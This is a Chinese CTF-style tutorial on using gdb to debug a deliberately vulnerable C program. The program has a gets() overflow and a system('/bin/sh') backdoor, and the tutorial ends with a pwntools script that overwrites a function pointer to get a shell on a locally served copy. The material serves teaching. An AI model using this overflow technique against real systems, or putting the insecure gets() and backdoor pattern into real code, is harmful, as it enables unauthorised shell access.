pwn入门:详解gdb调试程序的常见命令

news2024/11/28 16:53:48

目录

写在开头

一、pwn题目环境的部署

二、解题思路(不是重点) 

三、gdb的调试过程(重点) 

完整运行过程(run)  

调试程序(重点)

运行到程序的开始位置

设置断点

查看内存 

修改地址的值

单步运行/查看寄存器

四、python脚本的编写

总结与思考

写在开头

   近期又开始回头开始学pwn了,看了b站国资社畜大佬的视频,在大佬讲解的基础上做个总结,加入了我的一些思考。学pwn主要是要了解内存布局和程序的执行过程,感觉学习路线确实比较陡峭,今后我也会不定期更新这个系列。

      本文主要以对一个程序的调试过程为例,介绍gdb调试器的常见命令,并直观的展示所谓“溢出”覆盖的效果以及大小端序的问题。涉及的知识点包括:pwn题目环境的部署、gdb调试的常见命令、大小端序的影响、简单解pwn题目脚本的编写。特别说明,由于篇幅有限,本文不会过多介绍汇编指令以及程序运行时函数调用栈的变化过程。这些内容可能会在后面的博客中再做介绍,本文的重点是使用gdb对程序进行调试。本文需要的工具主要有gdb和pwntools,读者如果想跟着复现,只要有gdb和pwntools即可,安装过程详见:

pwn入门(1):kali配置相关环境(pwntools+gdb+peda)_gdb插件 peda-CSDN博客

  备注:文末有我总结的gdb常见指令,有需要的读者可以直接看文末。 

一、pwn题目环境的部署

   这一部分属于调试过程的前置,想在本地部署一个pwn环境,用socat开启一个本地端口运行pwn题目(下文会细说)。当然读者如果仅仅了解gdb的话也可以不用考虑这么多,直接用p = process(./文件)即可。建议使用ubuntu或kali这样的系统部署环境、调试程序。

   首先我们要构建一个存在“溢出”漏洞的二进制文件。这里我们就用国资社畜大佬给出的question.c文件即可,其内容如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";

int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}

int func(char *cmd){
        system(sh);
        return 0;
}

int main(){
    init_func();
    volatile int (*fp)();
    fp=0;
    int a;
    puts("input:");
    gets(&a);  //gets没有对输入字符的长度做限制,存在溢出
    if(fp){
        fp();
    }
    return 0;
}

   然后用gcc把这个文件编译一下,生成存在漏洞的二进制文件,注意编译的过程要关闭pie保护,命令如下:

gcc question.c -no-pie -o question1

此处简要说明一下PIE保护(不是本文重点)。

1.PIE保护是编译时默认开启的。如果想关闭pie保护,需要手动添加参数-no-pie

2.PIE (position-independent executable) 是一种生成地址无关可执行程序的技术。是一种保护机制,如果程序开启了PIE保护的话,那么在每次加载程序时都会改变加载的基地址。当然这种机制不利于我们本地调试程序,所以在这里就关闭了。

   接下来为了增强仪式感,我们可以在当前目录新建一个文件flag,拿到这个flag相当于解题成功。

 然后用socat开启8888端口部署这个题目question1,当然你也可以使用任何未被占用的其他端口:

socat tcp-l:8888,fork exec:./question1,reuseaddr

  然后另起一个终端(ctrl+shift+t),试一试能不能用nc连接这个题目,如下图连接成功:

 随便输入一段字符串看看效果,好像没啥问题:

二、解题思路(不是重点) 

   如果从解题的角度思考,我们只能拿到一个二进制文件,是看不到源代码的。当然可以放到ida中分析,也可以用反汇编工具查看伪源代码,然后再慢慢分析。不过由于本文的重点是用gdb调试程序,因此这里就直接从上面的源代码简要分析触发漏洞的位置:

1.溢出点:代码中存在危险函数gets()。gets函数用于获取用户的输入,且不会对输入的字符数量做限制,因此有可能会溢出覆盖其他内存。

2.后门函数:存在后门函数func,这个函数可以获取shell,我们要想办法让这个函数执行。

3.函数指针fp,原始的逻辑是定义了一个函数指针fp,然后把fp指针设置为0,if语句永远为假,如果我们可以修改fp指针的值,使得fp指向后门函数func的地址,则可以getshell,而fp指针的值是可以被gets函数的输入覆盖的,因此就可以被我们控制。

三、gdb的调试过程(重点) 

完整运行过程(run)  

首先把这个二进制文件复制到另外一个文件夹(也可以直接再刚刚的目录操作,我只是想有点仪式感,不想让解题调试的目录和题目的部署目录相同),下图中的bin就是之前的question1,我改了个名字:

然后开始用gdb调试,直接运行命令即可:

gdb ./bin

 可以先直接run一下这个文件试试看看效果,先输入run,然后输入一个很短的字符串,比如abc,如下图:

  可以发现run指令会从头到尾运行当前程序(此时没有溢出),那么如果发生了溢出会怎样呢?我们重新run一下,这次输入一个非常长的字符串保证溢出:

   如上图所示,显示当前程序出现了段错误。那么我们想知道当前指令运行到了哪里,可以通过rip寄存器来寻找。在x64架构下rip寄存器指向当前执行指令的地址。我们可以用如下的命令查看当前运行到了哪里:

x/20i $rip

 x用于查看内存的内容,/20i表示查看20条指令,以汇编的形式显示(i)。而rip寄存器存储了当前执行指令的地址,因此x/20i $rip可以看到当前程序执行到了哪一条指令。

 可以发现执行到了call rdx这条指令就出现了问题,应该是rdx寄存器指向的地址出了问题,出现了 段错误。这正是由于我们刚刚通过gets函数输入的字符过长,通过一系列的操作,最终导致rdx寄存器的值出了问题,指向了无意义的地址。回到程序,我们重新调试。

调试程序(重点)

运行到程序的开始位置

 输入q退出。重新调试程序,这回用start开始运行程序:

  run指令会让程序完整运行,而start指令则会先运行到程序的入口点,通常就是main函数的开始位置。在这个位置我们用rip找到当前指令的指向位置:

 当然,我们也可以直接查看main汇编源代码,也是一样的效果:

disassemble main

 总之就是运行到了程序的main函数开始的位置。记得之前run造成溢出的时候,程序会停止在call rdx这条指令上,那么rdx指令的值是谁赋值给他的呢,我们可以往上看两行,就可以发现有一条指令mov rdx,QWORD PTR[rbp-0x10]这条指令,把rbp-0x10地址中的值赋值给了rdx:

设置断点

可以看到给rdx赋值的指令的地址是0x0000000000401293,那么我们可以在这个指令的地址下个断点。

b *0x0000000000401293

 可以用如下指令查看断点:

i b

可以用指令d 2删除这个断点,其中2是断点编号(num):

 重新设置这个断点,通常情况下,调试程序时没必要删除断点,直接关闭断点即可,关闭和开启断点的命令是:

disable b 2
enable b 2

 总而言之我们在mov rdx,QWORD PTR[rbp-0x10]这条指令处下了断点,接下来我们用c或continue指令继续运行程序,程序会运行到断点位置停止:

c

  运行到断点之前会让我们输入一段字符串,我们输入一个比较长的字符串abcdefghijk构造溢出(此时我们暂时不知道这个字符串是否溢出,下文会详解),然后回车。再次用rip寻址,果然运行到了断点的位置。下一条指令应该就是将从rbp-0x10地址开始的8个字节(QWORD是8个字节)赋值给rdx了。但再次之前,我们应该先查看一下内存:

查看内存 

  前面我们已经尝试过通过x/20i $rip的方式查看内存了。此时我们要重点查看的是rbp-0x10,可用如下的命令查看:
 

x/20g $rbp-0x10

这条命令的作用是查看从$rbp寄存器指向的地址减去16字节(0x10)的位置开始的20个长双精度浮点数。结果如下:

 如果大家对ascii码敏感的话,就可以发现16进制的65,66,67,68...这些数字(即十进制的101,102,...)应该就是我们刚刚输入的efgh....,从这个图也可以反应出小端序的显示,即\x65所在地址是0x7fffffffdf20。这么快或许不太明显,我们干脆从rbp-0x20的位置开始看(即再往前看16个字节):

x/20g $rbp-0x20

   如上图,这回应该就能比较明显的看到我们输入的字符a(即0x61)在内存的什么位置,以及整个字符串的小端序排列过程。 (a对应0x61,以此类推)如果我们想让[rbp-0x10]的值是func函数的地址的话,就需要构造溢出,使得地址0x7fffffffdf20的值(即上图中从\x65开始的位置)是func函数的地址。

修改地址的值

   在本地调试的过程中,我们可用set指令强行手动改变地址的值,比如这里我们可以设置0x7fffffffdf20地址的值是func函数的地址。首先用p指令查找func函数所在地址:

p &func

可以发现func函数所在的地址是0x40121f,那么接下来我们强行用set指令修改0x7fffffffdf20的值是0x40121f

set *0x7fffffffdf20=0x40121f

  再次查看内存,发现确实修改了地址的值,但从0x7fffffffdf24开始的内容还是原来的\x69\x6a\x6b,没有被覆盖掉,这主要是由于数据类型的大小问题,导致只覆盖了低位的4个字节。这里我们干脆直接再将从0x7fffffffdf24开始的4个字节置零。

set *0x7fffffffdf24=0

   这样的话,从地址rbp-0x10开始的8个字节就被设置成了func函数的地址,我们回到程序的运行位置:

  接下来如果运行mov    rdx,QWORD PTR [rbp-0x10]指令,则会将rdx的值赋值为func的地址。

单步运行/查看寄存器

  接下来我们通过单步运行程序进行调试。在单步运行程序时,我们先查看寄存器的情况:

i r

  如上图所示,rdx此时还是0,rip指向下一条指令的地址,即 mov    rdx,QWORD PTR [rbp-0x10]指令的地址。我们通过ni指令单步运行程序,执行这条指令:

ni

  如上图, mov    rdx,QWORD PTR [rbp-0x10]已经执行完,再次查看寄存器的值:

   果然,此时rdx已经被修改,再回看一下main函数的执行过程:

disassemble main

  此时只要再往下运行两行指令,就会执行完成call rdx,就相当于调用了后门函数func,应该就能拿到shell了。我们运行两次ni,应该就可以拿到shell。 

   nice!果然拿到了shell,这里顺便提一下gdb指令ni和si的区别,ni表示下一条指令,而si表示单步运行,换句话讲就是ni遇到函数调用会直接执行完函数,而si会进入函数里面单步执行。此时我们希望调用func直接完成,因此使用ni指令更快捷,当然也可以用si进入函数再执行。

四、python脚本的编写

  从解题的角度来讲,我们只要构造合理的溢出,从输入的第5个字节开始就会溢出到rbp-0x10的地址了,因此我们的payload的可以是"a"*4 + func函数的地址。然而很可惜,func函数的地址0x40121f对应的这几个\x40\x12lx1f字节并没有可见字符对应(即像0x61对应字符a,0x65对应字符e这样),因此只能通过python脚本的方法构造payload,完成对特定地址的覆盖。编写的python3脚本exp-pwn.py如下:

from pwn import *
p = remote("127.0.0.1", 8888) #连接题目部署的环境,相当于nc 127.0.0.1 8888
p.recv() #接受程序输出的"input"字符串
func_addr = 0x40121f  #func函数的地址
#payload = b"a"*4 + p64(addr)   #可以这么写,用pwntools中的p64函数会自动设置成小端序,不过为了理解更深刻,还是用下面这行 
payload = b'a' * 4 + b"\x1f\x12\x40\x00\x00\x00\x00\x00"  #小端序构造溢出
p.send(payload) #将payload发送给程序
p.interactive()

   特别注意对应小端序的理解,运行这段程序应该就能拿到shell了:

 注意这个shell的当前位置就是题目部署环境的位置。相当于我们通过a.out这个有漏洞程序拿到了靶机的shell。实际的ctf当然还要读取flag啦! 

总结与思考

  本文以一个pwn题目为例,详解了使用gdb的调试程序过程。题目本身没有难度,重点在于gdbd 调试过程。gdb作为非常强大的调试器,对于解pwn题目是非常有帮助的,我们一定要了解如何调试程序(单步运行、设置断点、查看内存、查看寄存器、修改地址的值等)这里我总结了一个gdb的常用指令表格:

用途指令说明
运行程序run从头开始完整运行程序
运行到程序开始的位置start运行到入口点,通常是main函数入口
单步指令si单步运行程序,遇到函数调用会进入函数
下一条指令ni运行下一条指令,遇到函数会直接执行完函数
设置断点b *地址在某个地址设置断点(默认启用)
查看断点i b列出当前所有断点(启用/未启用)
删除断点d b 断点编号删除某个断点
关闭断点disable b 断点编号将某个断点设置为关闭状态(不启用)
启用断点enable b 断点编号将某个断点设置为启用状态
汇编disassemble main汇编整个main,可观察当前运行指令
修改内存set *地址=值强行修改某个地址存储的值
查看内存x/20i $rip查看当前程序中从 $rip 寄存器指向的地址开始的20条汇编指令
x/20g 地址查看地址的内容,显示20行,每行8个字节
x/20b 地址查看地址的内容,显示20行,每行1个字节
p $寄存器查看寄存器中存储的值
p *地址查看某个地址中存储的值
p &func查看func函数的地址

  近期还挺头大的,工作原因要速成pwn了,可能后续还会更新有关pwn的知识,希望大家多多点赞关注支持,如果有啥问题也可以评论指出,我一定知无不言。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1168615.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java Web 学习笔记(三) —— Maven 基础

目录 1 Maven 概述2 Maven 安装配置3 Maven 基本使用3.1 Maven 常用命令3.2 Maven 生命周期 4 IDEA 配置 Maven4.1 IDEA 配置 Maven 环境4.2 IDEA 创建 Maven 项目 5 依赖管理5.1 导入依赖5.2 依赖范围 1 Maven 概述 Apache Maven 是一个项目管理和构建工具&#xff0c;它基于项…

力控关节性能指标

力控关节是一种用于机器人的关节&#xff0c;具有强大的力控制能力&#xff0c;通常用于执行需要精确力量控制的任务&#xff0c;例如装配、协作操作、力导引操作等。 电机的伺服驱动器通常包括三种控制环——位置环、速度环和电流环。虽然每种控制环的目的是控制电机性能的不同…

应用在智能空调中的数字温度传感芯片

智能空调是具有自动调节功能的空调。智能空调系统能根据外界气候条件&#xff0c;按照预先设定的指标对温度、湿度、空气清洁度传感器所传来的信号进行分析、判断、及时自动打开制冷、加热、去湿及空气净化等功能的空调。适合放在卧室&#xff0c;客厅等地方。 在中央控制系统…

【网络奇遇记】那年我与计算机网络的初相识

&#x1f308;个人主页&#xff1a;聆风吟 &#x1f525;系列专栏&#xff1a;《网络奇遇记》 &#x1f516;少年有梦不应止于心动&#xff0c;更要付诸行动。 文章目录 一. 信息时代的计算机网络二. 计算网络的定义和分类三. 计算机网络的特点四. 计算机网路在信息时代的应用五…

RFID管理方案有效提升电力物资管理效率与资产安全

在电力行业&#xff0c;电力资产的管理是一项重要的任务&#xff0c;为了实现对电力资产的精细化管理、入出库监控管理、盘点管理和巡查管理等&#xff0c;电力公司多采用电力资产RFID管理系统&#xff0c;该系统能够实时监控出入库过程&#xff0c;有效防止出入库错误&#xf…

【ElasticSearch系列-05】SpringBoot整合elasticSearch

ElasticSearch系列整体栏目 内容链接地址【一】ElasticSearch下载和安装https://zhenghuisheng.blog.csdn.net/article/details/129260827【二】ElasticSearch概念和基本操作https://blog.csdn.net/zhenghuishengq/article/details/134121631【三】ElasticSearch的高级查询Quer…

从科幻走向现实,LLM Agent 做到哪一步了?

LLM 洪流滚滚&#xff0c;AI 浪潮席卷全球&#xff0c;在这不断冲击行业认知的一年中&#xff0c;Agent 以冉冉新星之态引起开发者侧目。OpenAI 科学家 Andrej Karpathy 曾言“OpenAI 在大模型领域快人一步&#xff0c;但在 Agent 领域&#xff0c;却是和大家处在同一起跑线上。…

ESP-07S烧写固件记录

一&#xff0c;固件版本。 下面是官方默认AT指令版本&#xff0c;ESP-07S 的flash大小是4MB。 AT固件汇总 | 安信可科技 (ai-thinker.com) 二&#xff0c;烧录工具。 开发工具清单 | 安信可科技 (ai-thinker.com) 三&#xff0c;下载工具及连线。 使用USB转串口工具。 四&am…

如何将立创EDA中的元器件封装快速导入到AD软件中去

在使用AD软件画PCB的时候&#xff0c;最费时间的就是找元器件的封装。有的元器件如果库里面没有封装的话还得自己手动画&#xff0c;这样会浪费很多时间。 由于立创EDA里面的元器件比较全&#xff0c;而且好多器件都带有封装。那么就可以直接将立创EDA中元器件的封装直接导入到…

项目管理工具有哪些?项目管理必备的6款软件推荐!

在现代商业环境中&#xff0c;项目管理已经成为一个不可或缺的工作流程。有效的项目管理可以提高团队的协作效率&#xff0c;促进任务分配和沟通&#xff0c;并确保项目按时交付。然而&#xff0c;随着项目越来越复杂和多样化&#xff0c;需要使用适合的软件工具来支持项目管理…

并发编程(线程基础)

线程和进程的区别并发与并行的区别线程创建方式runnable和callable的区别run()和start()的区别线程包括哪些状态&#xff0c;状态之间如何变化新建三个线程&#xff0c;如何按顺序执行notify()和notifyAll()的区别wait和sleep方法的区别如何停止一个正在运行的线程 一、线程和进…

保存修改后的图形化配置文件

37.4.5 保存修改后的图形化配置文件 如果使用 V2.4 以前的底板&#xff0c;用的是 LAN8720A 这颗 PHY 芯片&#xff0c;我们在修改网络驱动的时 候我们通过图形界面使能了 LAN8720A 的驱动&#xff0c;使能以后会在.config 中存在如下代码&#xff1a; CONFIG_SMSC_PHYy 打开 d…

基于RK3568的新能源储能能量管理系统ems

新能源储能能量管理系统&#xff08;EMS&#xff09;是一种基于现代化技术的系统&#xff0c;旨在管理并优化新能源储能设备的能量使用。 该系统通过监测、调度和控制新能源储能设备来确保能源的高效利用和可持续发展。 本文将从不同的角度介绍新能源储能能量管理系统的原理、…

idea个性设置

这种灰色代码连在一起

完美处理 Android App 的 apk 输出路径与文件名

实现代码 buildTypes {// ...applicationVariants.all {variant ->variant.outputs.all {Calendar calendar Calendar.getInstance(Locale.CHINA);def buildDate String.format(Locale.CHINA, "%04d%02d%02d", calendar.get(Calendar.YEAR), calendar.get(Cale…

Telnet/ssh/Serial远程工具WindTerm

Telnet/ssh/Serial远程工具WindTerm 一、WindTerm 概述二、WindTerm 下载 一、WindTerm 概述 在远程终端工具中&#xff0c;secureCrt 和 XShell 是两款比较有名的远程工具&#xff0c;但收费。上一篇文章就介绍了一款免费软件MobaXterm&#xff0c;但菜单都是英文的&#xff0…

Doris:StreamLoad导入数据

目录 1.基本原理 2.支持数据格式 3.StreamLoad语法 3.1.请求参数 3.2.返回参数 4.StreamLoad实践 4.1.使用 curl命令 4.2.使用Java代码 Stream load 是一个同步的导入方式&#xff0c;用户通过发送 HTTP 协议发送请求将本地文件或数据流导入到 Doris 中。Stream load 主…

图片有水印怎么去?这三招轻松去除图片水印

当我们在网站找一些的图片做头像或者壁纸的时候&#xff0c;会发现一些好看的图片上会带有一些平台水印&#xff0c;这些水印影响了整张照片的美观&#xff0c;那么图片有水印怎么去呢&#xff1f;这时就需要借用图片处理工具来操作。那你们知道图片有水印怎么去吗?今天我就来…

LCR 166.珠宝的最高价值 + 动态规划 + 记忆化搜索 + 递推 + 空间优化

LCR 166. 珠宝的最高价值 - 力扣&#xff08;LeetCode&#xff09; 现有一个记作二维矩阵 frame 的珠宝架&#xff0c;其中 frame[i][j] 为该位置珠宝的价值。拿取珠宝的规则为&#xff1a; 只能从架子的左上角开始拿珠宝每次可以移动到右侧或下侧的相邻位置到达珠宝架子的右下…

匪夷所思,spring aop这么写竟然会失效!!

背景 spring 版本&#xff1a;3.2.8.RELEASEJDK版本&#xff1a;1.8本地是正常&#xff0c;线上环境是有问题的 应用从云下迁移到云上的过程中出现了一个应用部分aop 通知失效的问题&#xff0c;场景如下&#xff1a; node1 节点上的category 是失效的&#xff0c;element是正…